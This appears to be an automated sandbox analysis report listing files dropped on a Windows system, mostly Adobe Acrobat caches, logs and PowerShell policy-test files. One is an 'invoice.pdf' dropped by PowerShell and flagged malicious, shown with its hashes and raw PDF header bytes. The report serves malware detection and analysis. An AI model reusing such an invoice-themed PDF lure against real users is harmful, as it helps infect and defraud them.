Size (bytes):	12288
Entropy (8bit):	1.3193395332954418
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeN4tqVpY:TGufl2GL7ms9WR1CPmPbPah0ypilIU
MD5:	ED7E6B9A8FECF2254811B6D247F61AE8
SHA1:	43F0747456E42E1C3E800E971E17ADF589DBEA1B
SHA-256:	35F70874DDCFC0ADA4EA47C1D712490D65D41BE4C6B46236D444DF5DCACD45C5
SHA-512:	3745BA550F3D5E7C0499C992A3220FBF9E29321B4F6B13DB240EF8F78A2011AEBE0DF73EAB58F68139A5847627A982423F124298F360560275C795208B0B3EDB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7791780123958043
Encrypted:	false
SSDEEP:	24:7+tTlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeN44qVpaVrScVr0Iny2vqLhr:7M4WR1CPmPbPahRypilIRWqFl2GL7msX
MD5:	3807439B36F3B24FD695C695EFB79C91
SHA1:	44F18400D6B5B55F3CE66A3FD15F3490CFAB3DE4
SHA-256:	53ECB7E2FA197EAFEC3F376C2BBBC1D6284CEA2D81D09B1556792FDE66B9D398
SHA-512:	CA753D1C75436B4CFBA9C6E69ADB1F602CD68FB98AB1A918F6A0BE4D340D4EC919F44631BCFA99BE3136CAF58EC9AD39434A77DDD9BDACAFEAB0A3B635C6EAD3
Malicious:	false
Preview:	.... .c.....'l.+..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgfpJEgBLgTqowQWdJe+F0cFruKYyu:6a6TZ44ADEfbEgBLgqo8PeKK
MD5:	7ABAE5F84B868529774E2A0101BD14C6
SHA1:	58890913CAA9C699C9E51BFF54DAF3D3D1A1B558
SHA-256:	FFE0A4EC3502FF474D301ED796277E72E19A306989D2103312C9F9F464289884
SHA-512:	0E545D4F53E7AFE186EAADE140A0EEFD641310A64173C97BB65A8CFD8FE2CD8D3C6F576FCC44520BC8D132A19FC15B6082303D60069B7E3362D2C56B8290CDFB
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul7got/Z:NllUkot
MD5:	71995B6B43EA2A2D49079E9E99E8D184
SHA1:	A55CE57E044A814007D3EE7DCCF1527EF391036A
SHA-256:	FD011C1349ABA970E984930A34129F61F60BF70A92E4E1748C4DCFFA3E22DFBF
SHA-512:	6CFBFC9B41995E53733EDCEC9747C4B7EA800D267145D6A879637CBC2B96E06C1D8CFEE9CDC59A6E57A32AEFE5A941448A029B16F4B2A11EF8CC0F579352509A
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI22cbc.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClMle9:Qw946cPbiOxDlbYnuRKdLlQ
MD5:	2546DD087A9458FC512C47B96F5601DC
SHA1:	86FBB63B8CA69C6D215B3730D11F6A25744A5111
SHA-256:	93826F74D400A86D38D862C2494BC6E2EB22D3492C1F61E2B92D56A97EEFBC7A
SHA-512:	371C0316D8341579C85BF65E61DCFD6F1068841AA15D376CE6C0F3EFE1AA7F3EAE76460CAE3A3B9801205802A6E50769A95805AC67B2E656DAB1C5082167768C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.0.3.:.2.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a0t5uicx.fnv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gswbltpu.cmg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A912o3w8r_1n6nemw_2yk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91ocljkv_1n6nemv_2yk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-03-21-114.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.344687928128125
Encrypted:	false
SSDEEP:	384:+U2FuCRPeJYWRebaHlGI+Xb+S187lx9C8L+AKOraNp0wuoHl1WTWDoDpA+4DNCKU:Gyh
MD5:	630AE0D2D624595783EA22204ACBCA5C
SHA1:	B63B253A858AFD84AD0FD8F8B0AB522C630C8900
SHA-256:	9F19B8408BEF06542B71F7D7EEE4167385D87DEC185F75951935B9DA22AEF213
SHA-512:	F0ADBF98B27E206D30142BE0EBF261D1EE098DC2ED18C72AE16BECD14BA87A7512453424B9091DD61EA601AAEA23716283568BC88A97E7E3D78E107390F14434
Malicious:	false
Preview:	SessionID=5c4595d1-f5b3-4a6e-9c68-0acab44eed6f.1736571801148 Timestamp=2025-01-11T00:03:21:148-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5c4595d1-f5b3-4a6e-9c68-0acab44eed6f.1736571801148 Timestamp=2025-01-11T00:03:21:169-0500 ThreadID=7456 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5c4595d1-f5b3-4a6e-9c68-0acab44eed6f.1736571801148 Timestamp=2025-01-11T00:03:21:169-0500 ThreadID=7456 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5c4595d1-f5b3-4a6e-9c68-0acab44eed6f.1736571801148 Timestamp=2025-01-11T00:03:21:169-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5c4595d1-f5b3-4a6e-9c68-0acab44eed6f.1736571801148 Timestamp=2025-01-11T00:03:21:169-0500 ThreadID=7456 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401173172356382
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbqcbUISScb28J:ceo4+rsCzSO8J
MD5:	59F9B0144B8CB112368B8E5E437DC575
SHA1:	2BB37990E9E7C03DA6A1F6FBAAB21A83C39FAD12
SHA-256:	3A555E3502268E74AA20659A019F2AA4B9C4CB1B7F593F19DB2AC6DBB82DB8CC
SHA-512:	270FEA7763897C41FADD5AB1429D67BD383BD762E1D4FDFA79BE2F012AC7F969CF2AF8D6149B41DC7BE58D7D86344E1AD1E073E3BA0747472BE7B99960904B5D
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\70bab45c-7c0e-4bba-bf84-35b7c127b5f4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\731eaf07-507b-4e9c-930c-ffe717081113.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\78253aaa-80b0-4b09-a322-2c851227166c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f18b4e96-f58d-434a-abc6-01a31f38925c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
